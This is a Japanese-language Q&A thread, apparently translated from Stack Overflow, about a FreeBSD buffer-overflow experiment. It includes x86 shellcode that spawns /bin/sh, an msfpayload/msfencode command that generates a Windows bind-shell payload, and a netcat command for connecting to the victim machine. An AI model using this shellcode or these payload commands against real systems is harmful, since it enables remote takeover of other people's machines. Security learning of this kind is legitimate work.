6

私はFreeBSDシステムでバッファオーバーフローを実験してきました。最初の実験として、悪用されたプログラムに別のプロセス(この場合は/ bin / hostname)を開始させようとしました。それはすべて正常に機能し、プログラムはホスト名を出力してから終了しました。その後、プログラムにシェルを生成させようとしました(つまり、/ bin / shを実行します)。これは、呼び出されるプログラムを表す文字列を交換するだけで実行できると思いました。これを試してみると、悪用されたプログラムは単に終了します。gdbによると、新しいプロセス(/ bin / sh)が正常に生成されます。ただし、シェルは生成されません。次に、最初のエクスプロイトを試し、/ bin/shファイルを/bin/ hostnameに移動しましたが、それでも何も変更されません。私の質問は、/ bin /shを他のコマンドと実行することについて何が違うように見えるかということです。

参考までに、シェルの生成を試みるために、次のシェルコードを使用しました。

char code[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e\x89\xe3\x50"
"\x54\x53\xb0\x3b\x50\xcd\x80";
4

1 に答える 1

3

おっしゃりたいことはわかりますが、根本的な間違いを 1 つ犯していると思います。インタラクティブ シェルをバインドせずに呼び出しています。

「ifconfig」コマンドを呼び出すようなものです。単一のコマンドを実行したい場合、シェル コードは完璧ですが、インタラクティブなシェルが必要な場合は、sh を実行するだけでは不十分です。

sh を実行するだけでシェルが実行され、シェルを対話的に制御することはできません。


解決策: シェル コード ジェネレーターを使用してリバース TCP シェルまたはバインド シェルを作成し、それをエクスプロイトのペイロードとして使用します。

Metasploit でこれを実行しようとしている場合は、コマンドの例を次に示します。

msfpayload windows/shell_bind_tcp LPORT=4444 R | msfencode -e x86/alpha_mixed -b '\x00' -t c
  • Msfpayload は関数の名前です。windows/shell_bind_tcp はエクスプロイト パスです
  • LPORT は、リモートの被害者マシンがシェルにアクセスできるようにするポートです。
  • R は生の出力用です
  • 次に、それを msfencode にパイプします。これは、実行可能にする C コードである必要があり、そのアーキテクチャ用にコンパイルする必要があるためです。
  • -e は、サポートするエンコーディング タイプとアーキテクチャを示します。たとえば、Win Sp2 用です。
  • -b は、シェル コードで使用できないバイトを示します。たとえば、00 は文字列バイトの終わりです
  • -t は、C コードとしての出力タイプです。

もう少し研究して遊んでみれば、それを手に入れることができます。基本的に、静的コマンドを実行する場合と比較して、インタラクティブなシェルを取得するのははるかに困難です。

完了したら、netcat などのプログラムを使用して接続し、シェルを使用できます。

netcat.exe -nv <victim ip> <port where shell was bound to>

これが正しい解決策であることを願っています。

于 2012-06-26T13:51:57.630 に答える